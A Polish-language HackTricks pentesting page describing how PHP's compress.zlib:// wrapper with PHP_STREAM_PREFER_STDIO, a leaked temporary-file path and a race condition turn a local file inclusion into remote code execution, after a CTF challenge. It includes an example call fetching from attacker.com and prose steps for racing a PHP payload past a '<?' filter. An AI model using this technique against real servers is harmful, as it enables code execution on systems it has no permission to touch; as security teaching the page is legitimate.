hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
2024-02-11 01:46:25 +00:00

4.3 KiB

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

compress.zlib:// i PHP_STREAM_PREFER_STDIO

Plik otwarty za pomocą protokołu compress.zlib:// z flagą PHP_STREAM_PREFER_STDIO może kontynuować zapisywanie danych, które przychodzą do połączenia, do tego samego pliku.

Oznacza to, że wywołanie takie jak:

file_get_contents("compress.zlib://http://attacker.com/file")

Wysyłamy żądanie o http://attacker.com/file, a następnie serwer może odpowiedzieć na to żądanie poprawną odpowiedzią HTTP, utrzymując połączenie otwarte i wysyłając dodatkowe dane po pewnym czasie, które zostaną również zapisane do pliku.

Można zobaczyć tę informację w tym fragmencie kodu php-src w main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Wyścig do RCE

Ten CTF został rozwiązany przy użyciu poprzedniego triku.

Atakujący sprawi, że serwer ofiary otworzy połączenie, czytając plik z serwera atakującego przy użyciu protokołu compress.zlib.

Podczas istnienia tego połączenia, atakujący wyciągnie ścieżkę do utworzonego pliku tymczasowego (serwer ją ujawnia).

Podczas gdy połączenie jest nadal otwarte, atakujący wykorzysta LFI, wczytując plik tymczasowy, który kontroluje.

Jednak w serwerze sieciowym istnieje sprawdzenie, które uniemożliwia wczytanie plików zawierających <?. Dlatego atakujący wykorzysta wyścig warunkowy. W połączeniu, które jest nadal otwarte, atakujący wyśle ładunek PHP PO Tym, jak serwer sieciowy sprawdzi, czy plik zawiera niedozwolone znaki, ale PRZED wczytaniem jego zawartości.

Aby uzyskać więcej informacji, sprawdź opis Wyścigu Warunkowego i CTF na stronie https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: